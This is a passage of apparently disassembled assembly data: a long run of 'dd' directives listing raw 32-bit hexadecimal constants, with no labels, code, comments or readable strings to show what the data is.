		dd 0F8731C50h, 3825B498h, 0AEF2A3DCh, 0FA2BA64Ch, 1AA9C2Dh
		dd 56ED7BAh, 8B09300Bh,	4FF27112h, 235082C7h, 2EB00880h
		dd 99CD501h, 0D0D10F11h, 8B3F6A8Ch, 530CED85h, 4EB45005h
		dd 0D2C2E388h, 0C1F323AFh, 46D885C2h, 5D761697h, 9D4A3FD0h
		dd 0DA5C783Ah, 0CA868018h, 0F1EF017Fh, 5D0885CAh, 0F489E5A5h
		dd 15680BECh, 0F94CB050h, 0C38803C7h, 1F1A72E9h, 0E602C0BDh
		dd 47F2874h, 26B4390Ah,	9DE3C043h, 605C0734h, 0FCC216FFh
		dd 54138AF2h, 7F1F759h,	53622D43h, 400FF7C0h, 441A58E5h
		dd 833D1E5Fh, 16EC7771h, 729B21Dh, 17183AD8h, 24F42513h
		dd 54095551h, 60B6765Bh, 0D6339ABAh, 0A6E9123Eh, 0F645BF4Ah
		dd 0F7E9981h, 79581230h, 0B3565024h, 0C3CDFF07h, 4E8338CCh
		dd 95EF8209h, 59273A5Eh, 0A530EBFCh, 0C1805B67h, 4A0578E1h
		dd 0F6E5C517h, 4E06426Ah, 0BCD992B4h, 94BD01D2h, 6E55AA4Fh
		dd 0F1685902h, 70E9017Ch, 21CA3EBEh, 65CEAB1Ah,	0EE044C78h
		dd 9910E221h, 502B0FAAh, 0CDF0BB6h, 0B8E0B7C2h,	0BD99F7D1h
		dd 8B008C6Dh, 2B612A7h,	394ABA79h, 92E15478h, 8AB3EC27h
		dd 8DCA2928h, 6619F325h, 0A490591Dh, 0E7CA5B3Fh, 8ADA4A73h
		dd 1DB80F10h, 0C8D2F031h, 12BA0FB0h, 0FDE2A3Ch,	0A1DAA0A2h
		dd 523DD3E0h, 4903FE6h,	6D51390Eh, 0CE7C046h, 0C0404A5Ch
		dd 0A2657F18h, 0E9194722h, 0CEEDB3A1h, 1B9A4DF8h, 12EE8373h
		dd 0DE7FD898h, 6191F34Fh, 3104C4A1h, 0ADA951EBh, 4CC4CC10h
		dd 0D6870FEh, 4A7128ABh, 40C7C98Ah, 0C180469Fh,	579FFFE7h
		dd 205881E9h, 189F41CCh, 50630743h, 814DE05Dh, 25150BE5h
		dd 0E68341C6h, 0CC947E2h, 0EB453E68h, 3F0E87E9h, 11DCE4C9h
		dd 8E2C102h, 4353D280h,	0CC02A0Bh, 9B5A4810h, 5CD17429h
		dd 0C5344431h, 0C4860DDDh, 0F6A4009Ah, 0D13C0572h, 0A7E9B963h
		dd 0B91D4BC1h, 13055AA3h, 0B253A8C9h, 0E9CFA2D0h, 91E5A059h
		dd 12A30548h, 127FF255h, 64B353D1h, 8D0FC5A6h, 2D287346h
		dd 7ED9EBA8h, 3BC9073Ah, 0E26CFD5Dh, 40D9B101h,	464F058Ah
		dd 69B013BCh, 808441B9h, 41245264h, 2E09F381h, 0F04EF263h
		dd 5C803C1Dh, 0D0DAEF53h, 0D2584BA4h, 0A350E4EEh, 62445A4Bh
		dd 0EBA3EF09h, 67ED2079h, 152A2BA0h, 88B86B73h,	0B2E8422h
		dd 0E828F1EDh, 0CC02CC24h, 574BE9B5h, 0B0C9E614h, 483360BAh
		dd 122A1B7Eh, 5DB807CEh, 0A2252832h, 9A483E1Ah,	21074D52h
		dd 5BDA2939h, 0D4F4B6D2h, 0BE0F625Ah, 0C0E50340h, 6692C6B1h
		dd 17CBE153h, 3C2A9E7Eh, 0DB34A462h, 96A5BDE7h,	0E977C338h
		dd 25014552h, 0B3100EC3h, 0F6418F7Bh, 5080A733h, 566B3E68h
		dd 65965D57h, 8E6C3782h, 0AD3A4567h, 84E4132Bh,	7C320661h
		dd 1FD26BBh, 0E126ED6Ch, 51665097h, 163BB9E4h, 0EB1E7D09h
		dd 1D3035Bh, 0A4408A0Bh, 0E5A25756h, 95425F2Fh,	84499A7Dh
		dd 4D0BE875h, 6CD2458Bh, 0A33DC501h, 0E80169C6h, 0C8362C2Bh
		dd 417F2D05h, 0D1C869FAh, 0D6E91256h, 58D192F8h, 2D14C851h
		dd 0B2A0DEAAh, 0E86817F3h, 0BB1F6054h, 0ACB872BCh, 0B86FC998h
		dd 0E5D8EB0Dh, 0E8A9259Fh, 2DA681F6h, 551AD410h, 39762EF7h
		dd 384C7F00h, 0C2FAE91Ah, 44AC68F1h, 0A82782A2h, 54B8C10Bh
		dd 0FF8D9E30h, 58E1D83Eh, 1344184Ah, 0CEB33792h, 0E41E1293h
		dd 100E376h, 0F703BE21h, 0B8EBC1DBh, 0C105F6FEh, 4410F4DAh
		dd 0D4262113h, 160B3811h, 795BDF01h, 6551A7DBh,	9A9AC0A5h
		dd 65260245h, 426EE957h, 63509254h, 315181F7h, 2C08F911h
		dd 10429947h, 0C7802BBCh, 0E9FB2158h, 34C9AE42h, 7F0E12BFh
		dd 17FA5280h, 0E92D0985h, 8F6C2303h, 0A5BAC102h, 83B13283h
		dd 0E8E4CE88h, 80392E1h, 0C254F652h, 82165701h,	0FE4FDEFCh
		dd 0B07521F0h, 7487A31h, 46334D0h, 0EF02E9FFh, 0AB0BCFE0h
		dd 0F5E7B1EDh, 8065E570h, 0D250F75Eh, 0AC0562C5h, 0D329B037h
		dd 680943A3h, 0F8B00F56h, 330563BBh, 0EB015D48h, 407E82A4h
		dd 879D583Fh, 693FD071h, 0C66C29FBh, 58C22793h,	0E809C631h
		dd 6813E2D1h, 7C370CE0h, 1303FF86h, 0F257295Ah,	632A166Eh
		dd 0ADB19E56h, 5CB3316Bh, 101AC035h, 0E0A6414Ch, 4C907A2Ah
		dd 5D2E6815h, 970DA7BBh, 704AD310h, 0F75C4100h,	557C68F9h
		dd 43F2145h, 12A4D69Fh,	0D7F1F601h, 2C7BBF13h, 8044D97h
		dd 0CE216125h, 0E9A0C4A8h, 0BA800EFFh, 0DD6A17C3h, 6B9FC00Bh
		dd 65EFB585h, 3E1D21DEh, 56C2B794h, 0FF4F24Ah, 10B151CFh
		dd 9442664h, 4BBDFC5Eh,	0E98BF3E5h, 598A2110h, 46BCC328h
		dd 0CF3F26C8h, 0D0235F7Dh, 463C7490h, 0A4257700h, 5553471h
		dd 17D1046Dh, 84C331EAh, 5912AA6Fh, 228C1B50h, 6CB70E4Ah
		dd 0CF43C7FEh, 0DD90EF86h, 8C3D3F6h, 93EE8852h,	0E9F7A0FDh
		dd 24604B5Ah, 0CB580F4h, 30F9195Fh, 1A13736Ch, 75A07BE5h
		dd 159C30E9h, 534304BFh, 28D3B709h, 7974A9F8h, 0C5C26215h
		dd 0CC49C854h, 9DE79A58h, 17798142h, 66A0594Bh,	5703F5AAh
		dd 2A4AC2BFh, 5CB40531h, 0C05F564Dh, 284C1859h,	44B21B76h
		dd 31505B14h, 417710B0h, 3F045C2Eh, 0BB3CFC93h,	6C16C1D0h
		dd 0B7EA4A95h, 30C741EDh, 3D4E7F0Ch, 0D93CD18Dh, 0E14EE912h
		dd 0C8CD2B04h, 0D6BD5F3Bh, 97CE302h, 302F8A68h,	0B083889h
		dd 0ECE926FEh, 0C280CCC0h, 2E72065Ch, 2BCFA80Ah, 0BA40A0A1h
		dd 5A0E73D0h, 419F8735h, 3ECAF18Ch, 38884C85h, 27B52468h
		dd 0D9016F40h, 3B547670h, 0F1FF961h, 0D005C56Dh, 0F0F0ED19h
		dd 0D95A1644h, 33020B90h, 29285C1Ah, 0D230F625h, 109D2662h
		dd 0F02B349Ch, 0F2E1EC54h
		dd 9DFC7828h, 0DEC13800h, 7E50AE5Ah, 2EC1038Dh,	47D52154h
		dd 0C01A1C7Ah, 6B0F05D0h, 869A49AEh, 0E9F05CBEh, 0C91849A0h
		dd 28DA3476h, 4943EC48h, 0D812DCE0h, 5FE27798h,	6863205Eh
		dd 1BC577F8h, 0B1A9ADE5h, 1E9F1F2Ch, 66AFCB15h,	50010DA4h
		dd 1341008Dh, 0E1C153A3h, 2ED4C108h, 806DCC3Dh,	5D4CD8F2h
		dd 28192D2Bh, 55F5093Bh, 2D2FB9A5h, 1BF2FF1Eh, 1FE07409h
		dd 0FFEBCA5Bh, 18771701h, 0D1E91D39h, 2388AA4Bh, 0B7010F42h
		dd 5AB5A0Ch, 0D1A5BB5Ch, 182C906Dh, 0CA37C37Ch,	46361337h
		dd 43621611h, 0EB805C44h, 0A68EC0Bh, 2CE7524Fh,	87D360E9h
		dd 332FE580h, 0C5B130CDh, 82EDE401h, 594BEBE0h,	0B74ADF8Ah
		dd 5A4F1032h, 1289053Eh, 8DD03238h, 0FE0B1C04h,	0BCCD8950h
		dd 4F892C2Bh, 5730605Bh, 48841F0Bh, 7F27793Bh, 0BB004446h
		dd 811EA31Ch, 27129FEFh, 0D7500333h, 5E08C750h,	0F95A6825h
		dd 1605BCDAh, 8B4A4F36h, 5B25481Bh, 769378Ah, 535F0B02h
		dd 33002BDEh, 0CFE958E0h, 9E419662h, 0C0CB132Dh, 3947BE54h
		dd 5A83055Bh, 0B03E96F7h, 0A16628E5h, 2A14B5B4h, 55B1999Fh
		dd 62E1293Bh, 1A341809h, 0B966D019h, 5102802Ah,	0E938B450h
		dd 0C8D88E2Fh, 9E2B717h, 0D989475Fh, 3BF70FB1h,	0B4F1E200h
		dd 988A1BDCh, 0D09BDAAh, 0B524B996h, 8B160842h,	14B1508h
		dd 0D8284404h, 3768D02Ch, 9D57214Fh, 466616E2h,	7DFA79FDh
		dd 0EE35AA4Bh, 53B259C5h, 25DCE98Ah, 5ED488C8h,	29426B0Fh
		dd 0C2B5A9D5h, 359E5D7Bh, 540B278Eh, 6087E95Fh,	0F685794h
		dd 5DE3E78h, 0CE094F8Bh, 6082BF42h, 320C5D98h, 13039E7Ah
		dd 0F5BAE44Dh, 49087209h, 20A65C99h, 0F1E3A0AAh, 67530456h
		dd 0E1A7E964h, 5FFEF872h, 7EEC107h, 2F51CE81h, 0CFDB59DFh
		dd 0B2FF3FB3h, 0BF57689h, 0FBC51001h, 29FC7C13h, 0C4EF744Fh
		dd 68FF90BDh, 3AB147DFh, 0A486D9A5h, 4CBA10F2h,	0E7DF40E6h
		dd 6CAF350h, 0E91A1FB8h, 0F13C5EF2h, 68D6B020h,	0E6A85FDBh
		dd 40813572h, 168A1A70h, 0A00C0B09h, 8609F3A0h,	8B7B6E06h
		dd 59D987D5h, 68A8AD64h, 197DF245h, 6CCBD0F7h, 0B4CFD31h
		dd 231F7488h, 0E3032BE0h, 9E613833h, 486E000Ch,	56553693h
		dd 7A1F50BEh, 0F6403DC5h, 386B78FDh, 0DDE92D4Eh, 7D5B42C1h
		dd 8CEB84E4h, 0C9FBC0C2h, 6730CEE8h, 2A557B50h,	55D9B5D3h
		dd 743BA1E7h, 0AA2A8576h, 3801D152h, 9B24D4Ah, 26158A40h
		dd 0E97A0B76h, 0CB66CEF4h, 0BB4EC0F2h, 23EC29DDh, 0F257C32Bh
		dd 26C269ACh, 0D0BFD1C1h, 18C0715Eh, 0F81B99F1h, 0B0D74A09h
		dd 2A00A6E4h, 4C354064h, 0C00FFC72h, 0D942060Ch, 0E833C157h
		dd 0A0030605h, 600850EBh, 1B63AC80h, 1345D59h, 814C8C7h
		dd 12BEB59Dh, 6689D207h, 8C68C3F4h, 5550F5ACh, 6BBA00BDh
		dd 0CD81064Bh, 0C03807F9h, 0BA90CF45h, 7ABA6425h, 8DBA050h
		dd 1C5305C1h, 5D1DF5E9h, 69DF8282h, 49637A46h, 6FE696E9h
		dd 0CD41BB9Dh, 0AF50C99Ah, 2D5FFBh, 7D1373DEh, 6850D829h
		dd 41F9145Dh, 0B28A51E8h, 3EB97022h, 41F8D1E0h,	830581B4h
		dd 968302C6h, 0AC103E1Fh, 0BC71B613h, 7F2D7C52h, 6A2FCE61h
		dd 2371CC1h, 76E82A16h,	4E1355E0h, 181B8F30h, 9B738DDh
		dd 0CDB2E9BEh, 63CA6268h, 596CED05h, 798BF001h,	0CA49B742h
		dd 0C8BF0F01h, 3F2BC168h, 9E4BF231h, 3C2F1272h,	442248CCh
		dd 0B92CC1EEh, 60C7031Ah, 8F9F5703h, 6B7C4123h,	902A34D8h
		dd 0F14C99Ah, 0E965A00Eh, 7FFC53E4h, 0B45A71B5h, 19D0040Ch
		dd 5BEFF2E5h, 682BF0E7h, 6B5934Eh, 1676CE3Ah, 13F55F5Dh
		dd 5BD668D4h, 0D2303221h, 521E8478h, 601B13B2h,	9C6C053Fh
		dd 0FC08B9EAh, 1A3950F9h, 13874913h, 0E909CB1Fh, 0B9446175h
		dd 66B4302Ah, 6909CF52h, 7E104CE9h, 0E8636570h,	1C5E8100h
		dd 0C07A0D39h, 1524513Ch, 0EB85948h, 0E7991248h, 4A602B25h
		dd 13D8F74Fh, 22FD77E9h, 0C5F24431h, 717E7027h,	43EB0813h
		dd 3EAC003h, 3F239B80h,	5B77FE06h, 17B08828h, 45145513h
		dd 7A8F21Fh, 83BD56A1h,	182E48D5h, 0DF0ACD0Bh, 4D018A04h
		dd 1CB529Ch, 0BD5A59C8h, 9D38C003h, 146ED950h, 66F102Eh
		dd 80A61314h, 489921E0h, 202D9C51h, 6D3C21DEh, 55E95682h
		dd 0E8B10027h, 863AD9F6h, 8D030C1h, 0B002E9C0h,	588D7E29h
		dd 3A7225D7h, 0A13980C7h, 0BC33EF9Dh, 3CF27B2Dh, 0B3374820h
		dd 91FF1673h, 0FB65Eh, 7A12B951h, 4F717B03h, 6612C2B7h
		dd 46B8974h, 54000BB0h,	4A27685Bh, 63655DAAh, 40AE52Fh
		dd 8C3EA3E9h, 0B00350ACh, 304CB510h, 0E95EFAC5h, 96315B3Ah
		dd 8D34B42h, 6B250330h,	20EE1B34h, 0F097799h, 1439F208h
		dd 0E6D933B9h, 6D76E702h, 46433A1Ch, 21D610A9h,	135DD6Dh
		dd 0CFC0D3B1h, 9E595066h, 0D79BA19Ah, 0A007D360h, 3CF687A4h
		dd 332C0DFh, 89B2FB38h,	0E6E6546Ch, 0A9E9A90h, 3A72FB2Dh
		dd 804362C3h, 0C8BA87F1h, 48A34EA3h, 703A014h, 584B862Fh
		dd 6AABA8E1h, 6B2AA241h, 2CD40C5Eh, 299A2422h, 0F5381A54h
		dd 614860Eh, 795D9909h,	3DF10180h, 217BF870h, 22202A37h
		dd 569112E9h, 444EBADEh, 0FFA69955h, 0E22BAB4Bh, 5BBED547h
		dd 0B808F7Fh, 840F13C9h, 56A282CAh, 0EEF3BEC0h,	98FF44B7h
		dd 0AB0F2468h, 0B5C3423Ch, 859C055Ch, 6D3CBCCh,	0A12D6A1h
		dd 8CC397h, 0E4C09BB4h,	0C45CFE03h, 0A9173BDh, 0D5095392h
		dd 6BFA7433h, 0D94B3371h, 0CA29E2BCh, 2C021D5Fh, 0F9CE42EBh
		dd 0A7CB6C93h, 0E8BF9500h, 2962D932h, 6B5F73FAh, 73078FD7h
		dd 0F1FCD9C7h, 0DE020B6Fh, 55E0C243h, 0A1345A01h, 0A55B27E0h
		dd 1B662FBEh, 0C721A29Eh, 6857A130h, 144F2603h,	372F0D25h
		dd 79C5D843h, 0CCE66F8h, 0AC853DA3h, 0F5F84C01h, 32055814h
		dd 12C7B8A4h, 0ED650C09h, 0BE0F70BFh, 2A097DE6h, 51F30119h
		dd 0C326BC88h, 811020F4h, 66F01DC0h, 9F294C63h,	0A161E913h
		dd 9F7D4160h, 0ED8305F2h, 265FF72h, 0C3423A80h,	89582FBEh
		dd 294E4196h, 2EDEA0C1h, 6AF3F187h, 5663017Fh, 7790F389h
		dd 5B785E20h, 7825680Eh, 0E9045EB9h, 2DEF3903h,	9BA9F4C7h
		dd 0CC478CD6h, 0A551F62Dh, 6692054Ch, 4996053Bh, 21C5C83Ah
		dd 3EDF3D18h, 3572F0E4h, 3521E5Dh, 497395D8h, 1D5E1CAAh
		dd 98A0CA3Dh, 0B5B94A36h, 5409E043h, 5DC615Ch, 2B0B23C9h
		dd 0E5388580h, 29361448h, 6C1392C5h, 0B4664D7h,	6BDED1D0h
		dd 864C7F40h, 0B7DCCB3Fh, 8A0C5172h, 52431B08h,	0D00A1763h
		dd 0A1D6133Dh, 2F34C955h, 8C3E799Dh, 0A24AD8D9h, 0C6213B9Ch
		dd 0E2943DCh, 883BB300h, 0C4805BDCh, 9C6BFA27h,	485D0EFDh
		dd 0EF708DEBh, 39E0E99Fh, 48429DA4h, 776A2FF9h,	5832D983h
		dd 0DA292FA0h, 8A0EAF0h, 84BE525Bh, 0B4BFE961h,	58C1D451h
		dd 0A8FEC80h, 0E6815542h, 0B56CF10Eh, 0DCCEC049h, 0C025F65Ch
		dd 0E842166Ch, 0DE0C29F7h, 449983E9h, 5AD02E20h, 0BB2A3D5Eh
		dd 0D3F601EEh, 0EBC0C3FEh, 0FE503105h, 5145007Dh, 0B53CB353h
		dd 69566A0Bh, 85C7CA3Dh, 0F404F003h, 9E52EC84h,	8A87570Ah
		dd 45645E93h, 6505C082h, 0A52F2C50h, 2E0A8679h,	0B987FCACh
		dd 924B57BCh, 0DE055F81h, 0EBD22022h, 0C90BFCEFh, 81DD09FAh
		dd 18D9F595h, 53CECh, 37511076h, 7135852Dh, 71E12E5Eh
		dd 11CA0707h, 9D685D04h, 53AA33FFh, 0CB7F7BC8h,	0F3584B60h
		dd 0E51867CDh, 766192Ah
		dd 8D0BE7E9h, 74685259h, 0ADC46FEAh, 2748AD03h,	895F598Dh
		dd 475101B8h, 28EB2D82h, 9D00FDDFh, 3A9243D2h, 0C674E912h
		dd 22A64729h, 7A8C01ACh, 2F41D1F7h, 2816323h, 9369EFBCh
		dd 0FA692934h, 90A5404h, 0F1F8E9B4h, 0E5BB452Ch, 58FE8969h
		dd 0CBFE28C7h, 5DEA5CFFh, 0C330540Fh, 0E04828E9h, 100438F2h
		dd 0D6012234h, 4FF610B4h, 66164932h, 264D2B66h,	170649CFh
		dd 6201D7F7h, 0FEB1B30Eh, 26F6876Fh, 0F1065FE4h, 344B2EEEh
		dd 901A010Ch, 76E98973h, 0B9256BA4h, 0C012C3A6h, 2D04A21Ch
		dd 7EEA5201h, 571D2751h, 5C5B7344h, 0F008012h, 48BB7B5Ah
		dd 962F9231h, 9B6A5255h, 0C051D6D6h, 5237680Ch,	25A58929h
		dd 0B65A85F2h, 280A10B3h, 96FB112h, 0DF616891h,	0EC702BBEh
		dd 16091199h, 0EC740120h, 250CD01Bh, 8C0C735Eh,	5A0D0268h
		dd 1D0014Ah, 0B9DA3EE9h, 1515BC23h, 0C605B39Ch,	0EB2B74BBh
		dd 9AE39F09h, 0CB46DE8Eh, 0DCC48ED0h, 43EBEC53h, 1205C1ACh
		dd 1118FFF4h, 400AEE12h, 5E0FF348h, 82C0B70Fh, 7C438E68h
		dd 971B42C2h, 8DC24105h, 4F0FFE27h, 9DD07EC6h, 2579EA06h
		dd 10C3560h, 0FBB11CD7h, 6B5275E9h, 0B861B31h, 37C7CD3Ah
		dd 4EE90CEEh, 0BEF53BBh, 2D3667C3h, 8A09B5Ch, 0D4215926h
		dd 12E8C101h, 0C02EC831h, 510DE9FBh, 2552F4B4h,	48F82DA4h
		dd 3AC1800Eh, 0B33E16Eh, 0EE875291h, 98EBC0B8h,	6DB8D930h
		dd 193C84Ch, 68C32CD8h,	0A568509Bh, 1AB75380h, 0FAE0BCB2h
		dd 44062ED6h, 7A7346F5h, 0E8302EFDh, 0CB8B5AE0h, 80699FD6h
		dd 0A978C508h, 96BA900Ah, 319B2D56h, 32AC50D9h,	0C79312D1h
		dd 899F4BE8h, 27E8D9F3h, 0DB5857ADh, 91815A35h,	80041B18h
		dd 80FDB550h, 4FDACD40h, 680A21B9h, 4FE8681Bh, 0E90B66CBh
		dd 2D694F62h, 3F172FFBh, 0F5B798E8h, 755DFF41h,	0C7AE7C8Bh
		dd 0B2541216h, 3D5C4C9h, 0EBE0413h, 0A6802E0h, 76E19A65h
		dd 9EC54B6Eh, 3498AB0Ch, 0D1F0BBDh, 5480013Ch, 23D3450Ah
		dd 0B01C5ECh, 0E938E004h, 9D81CE63h, 114005C6h,	0A2F6D808h
		dd 46B75901h, 3676684Eh, 900FD36h, 486E3760h, 14022E35h
		dd 0F4054FDEh, 4E0055A7h, 5ABA52D0h, 38042A0Bh,	3128E42h
		dd 0FA034454h, 0BD167CDAh, 0EE409284h, 5EC9C011h, 0D14F899Bh
		dd 0F035FDA0h, 0BF9F3573h, 0D34EEF9Ah, 20E9C729h, 0EF5F5699h
		dd 0B6C0326Bh, 0A579CF05h, 0FB29FA26h, 0CC59AF39h, 0A4E6F4EEh
		dd 84E707C9h, 62283010h, 0A3C1E2CFh, 0E6F7F05Fh, 5CE90DC4h
		dd 0C4BCD394h, 8C5BBC48h, 271F07DCh, 0C2DA517Ch, 0E90802D4h
		dd 0BF4D7812h, 555CA3CEh, 0B8807D11h, 57480036h, 6752354Eh
		dd 4F986F9Bh, 7E1B540Bh, 1423FC6Eh, 2C7508E9h, 88530ACCh
		dd 0AF3F7888h, 0BAC0010Fh, 5BF464D4h, 0A5D54C31h, 1672EF24h
		dd 0D36ABC4Ch, 5BF61284h, 2D918E30h, 6201415Dh,	2CC23573h
		dd 31FD6DB6h, 0B2E8B954h, 122BCAB4h, 0C7803FE9h, 52DD829h
		dd 6321C09h, 0E938885Bh, 983E2A20h, 9FD7BC8Bh, 5D58A0B3h
		dd 116C44Ch, 72C072A8h,	0E90C9451h, 0A9C2044Fh,	0DAFBE1B2h
		dd 3980D2C8h, 0C384A8F2h, 0C7D32832h, 5A665362h, 48E00A3Dh
		dd 0D4C12C08h, 16F0784Ch, 0F54CE272h, 8A472D30h, 891610C6h
		dd 0E9B84AD4h, 112B86A5h, 27D4348h, 59847807h, 0C2657431h
		dd 497085E9h, 38A0B73Ch, 0AFF83DC5h, 7E3F89D6h,	16E47BDAh
		dd 0BFA608h, 1D6BD6BAh,	0E2058131h, 3F114254h, 0F4FC22C2h
		dd 78FBC2F3h, 0DEDB18F7h, 696F9907h, 1ED49003h,	54EEF524h
		dd 0E9DCD449h, 0B928BA0Fh, 0BBD2F59Dh, 712BA2B1h, 0DBEE834Eh
		dd 7E5E4151h, 11EA3541h, 1ECF639h, 0D29790CAh, 5F24A611h
		dd 51411491h, 0E56E8D3Fh, 5AC5245Dh, 0CB5F9398h, 4E1877B3h
		dd 0D0311093h, 0FAAB939Fh, 28F0226h, 53499304h,	0D6C4017Ah
		dd 5C05F669h, 75D5BC89h, 680912B4h, 0A8E0F9C2h,	6281099Bh
		dd 0A75C0AD7h, 6FCE906h, 4EE27723h, 0BBEEC4E8h,	1D20CE29h
		dd 0E53C09F2h, 38E4825h, 0C14AAD3Eh, 1EB50C1h, 1130D801h
		dd 89AD81DFh, 56ACD2A2h, 0BF586415h, 92D11721h,	5C83989h
		dd 590EB172h, 53C68956h, 2158AE04h, 75E9ACC4h, 68535200h
		dd 6EC87FAFh, 9639C5B7h, 0E20D20FFh, 0A52661A0h, 0F240DD47h
		dd 504B5AD8h, 0A2AE20Eh, 1F4D405h, 918269BDh, 37CBDEAh
		dd 0A0BF064Fh, 512D04D3h, 0C05ACF5Bh, 88D6812h,	85B96EB1h
		dd 0DA10E9E5h, 7C6732AFh, 4FBF16F8h, 82F2404h, 0F7092B07h
		dd 538686E1h, 94A655D3h, 44F7213Ah, 37EE4D1Dh, 0E45D2AE1h
		dd 0D57388B0h, 0F67FF316h, 553A7E82h, 24E4EAE0h, 0D150C49Eh
		dd 319955Ah, 95EF4753h,	0C25A0133h, 0C529212Eh,	457D30CEh
		dd 2260CFB6h, 0FA618016h, 4BEC5AF1h, 5E11EF6h, 566E8258h
		dd 0F5C7E576h, 44D87582h, 0B330AC8h, 3430973Dh,	0EFE531ADh
		dd 0F8E4802Ah, 0ECB7C968h, 6AD7026Dh, 36E94B26h, 2909EA7Eh
		dd 8F6B48DAh, 0B3C69D2Ch, 0F9E5A5B7h, 0ADAA7281h, 9657AC02h
		dd 3B7F2558h, 0D21A73F9h, 0FB598270h, 12E1D130h, 0B0C3EC5Ch
		dd 0C1E574FCh, 0AEE9C1B4h, 5EFB0503h, 5315521Bh, 83CB45E6h
		dd 8B38F8EAh, 5CF7A446h, 8484F2FDh, 0BEB812ABh,	0F3E10h
		dd 0C46ED42Dh, 1F630569h, 0C96BF57Dh, 24D491F0h, 4E2FC34Dh
		dd 0FD365D92h, 5B538950h, 1F660688h, 0C61C8058h, 0E3A452F4h
		dd 5EE7FC09h, 470F4144h, 5B228262h, 5508BD16h, 493B0AE6h
		dd 0DEB0DA87h, 6620CF6h, 0F12E1DC8h, 4A6F7912h,	0D4036009h
		dd 5BCF606Ch, 810058BFh, 565D8DF3h, 90554301h, 0D06F2CC7h
		dd 544BCF0Fh, 3F2AEDF8h, 7895A59Eh, 18DF0F6Eh, 14A5312Eh
		dd 69EEED2Dh, 0F0FA54EAh, 214B80E9h, 125939C8h,	282FD668h
		dd 0BCA814EDh, 7A48E380h, 23377AAAh, 10799FF8h,	0B9906513h
		dd 44F1023Bh, 0C621305h, 75CB2F7Fh, 0C36B55h, 1554B260h
		dd 445B4E66h, 0EE3C122h, 8E8A040h, 105810Dh, 62D7B94h
		dd 0D416B52Eh, 0F80A7F6Dh, 0A1C38933h, 1A75E300h, 0EBE93403h
		dd 310B4F3Bh, 0BB0200F6h, 81723A70h, 61DACF00h,	95E96A38h
		dd 0AB249515h, 78A38271h, 836FF841h, 5EF5010Dh,	596CC268h
		dd 49C893C7h, 0C204ADB6h, 0DA880345h, 82D19A5Bh, 77347C64h
		dd 0EFECEF9Ch, 62887391h, 0F1F02D98h, 0FE491FF0h, 0FB52273Bh
		dd 6EA20256h, 0DB4053F3h, 0D04115Eh, 408EE9ACh,	11411DCDh
		dd 9F07CC61h, 0C0B4E8F6h, 0A01736BEh, 0D1C900Ch, 19D61BE5h
		dd 5CF04E6h, 81215E08h,	97289F76h, 0D30CE3A5h, 95B9062Bh
		dd 2404A259h, 0ADC36187h, 7DC88CACh, 891540B5h,	5CC14195h
		dd 0E34D917Fh, 0F5290112h, 2510C86Fh, 0CF02F1B9h, 60D70F6Ch
		dd 0BE3B5F55h, 0A9408132h, 0F9019498h, 6EAA215Ah, 0FE56975Eh
		dd 5E7FF08h, 159CA87h, 552B90F8h, 47FA641Bh, 0A35EE917h
		dd 0F4002FCDh, 906755C3h, 0E2EF4B1Fh, 0FEF72488h, 1DC6B08h
		dd 0E6158FBEh, 32C12F3Dh, 327AEA1Ch, 3F54AE29h,	0D35E5409h
		dd 5FFE0B73h, 23A4791Ch, 0F9C88437h, 19C37960h,	0B1BBB0C4h
		dd 0DFE8279Ah, 20AA1C53h, 5550B556h, 9AB90551h,	0D537B843h
		dd 272B989h, 442854C5h,	46F9804Ch, 4ACDE0DFh, 221E931h
		dd 0A4DD7456h, 0CF3BE329h, 0C8B8E930h, 958CE8A1h, 92DB570Bh
		dd 0EF304B02h, 2E37E25h, 55444254h, 0A66355h, 8006BB12h
		dd 4D47E962h, 416D9BB5h, 87F9FFAFh, 0F581A680h,	142E6693h
		dd 2E56214Bh, 295CB504h
		dd 0F9E77AECh, 9C1A4BA2h, 0DD895556h, 27A54C8Eh, 0D5B223F5h
		dd 10BC5041h, 170F7DC1h, 215F1AE8h, 2EB62A77h, 40426ECCh
		dd 0FB5B01C2h, 96EDC3B5h, 8FB86B87h, 0C32A9446h, 0E0980252h
		dd 0B5022D03h, 29DDE472h, 0B99F0C3h, 19A37FA5h,	0B5585442h
		dd 208E671Eh, 6D88F967h, 1495E33Ah, 22412A13h, 0DCE98C89h
		dd 80FFF942h, 0D4654A1Ah, 2C238076h, 8D74FD2Eh,	58963CE4h
		dd 0F7052EAAh, 7AAB3FE1h, 69F802CEh, 69D42F36h,	4CA00500h
		dd 9701ABDBh, 0C0C04B6Ch, 49B34255h, 0BBEA0781h, 601934DCh
		dd 0D078DDEBh, 25E97A5Ch, 48C9A416h, 0FDD712EFh, 41BC5B82h
		dd 0E40C7330h, 46046653h, 0E5E9F001h, 0B75F40A0h, 294AD216h
		dd 8D10A05Fh, 0E4D4F54Eh, 12D3FA82h, 0CC1D4C1Ah, 35D74BF0h
		dd 0C5FBB8EBh, 0D9A002E9h, 5C3A9D05h, 70798EDFh, 2D221C20h
		dd 0B022C03Fh, 0C588513Dh, 602D9093h, 0E0E9F354h, 7F16954Ch
		dd 0BB535000h, 4B5C3330h, 0F0FB5F87h, 0A9E44FAh, 17756615h
		dd 99A28CBCh, 0AD00502Fh, 7BE32E5Bh, 0E92A059Ah, 8295B772h
		dd 5739F3B9h, 2B14B46h,	0E9840548h, 0F11231B1h,	5F123B41h
		dd 612F98CBh, 0F331C502h, 0E009B0F8h, 806CD636h, 0F244B55Eh
		dd 19F1EB72h, 0E346914Dh, 0DB807C1h, 0A21FE11Eh, 4A7EC24Dh
		dd 12108188h, 2B05B15Ah, 0DC48FB2h, 65F889Fh, 5759CD98h
		dd 94A34F67h, 0A00BA94h, 0E93F806Ah, 37A1A9DFh,	1C492C37h
		dd 0FAA64097h, 7CEC4D0Dh, 202B2FF9h, 8A691617h,	18612840h
		dd 0C19E656h, 1E2FF32Ch, 4FA0BC1h, 56BA3AD2h, 96D7E3B9h
		dd 1770E5EDh, 0A8F577FEh, 0AC8A10C5h, 0D9F75E05h, 0C4F40850h
		dd 0D45D5433h, 5BC07BECh, 6827BFA0h, 433F822Eh,	0FD74C5h
		dd 492BC102h, 2865586Fh, 2D9DCCA7h, 2C593ABAh, 5DEF01E1h
		dd 9F02C7F4h, 0E92C3D6Ch, 5967308h, 277A98BDh, 0E912CF56h
		dd 37690A75h, 24E5ADh, 0A541E168h, 43035B05h, 429BF381h
		dd 0DBF78935h, 17E11F30h, 166E989h, 440F34E5h, 9D64E046h
		dd 3883AD80h, 137D207Fh, 918D1784h, 7133892Eh, 0EB0C82F2h
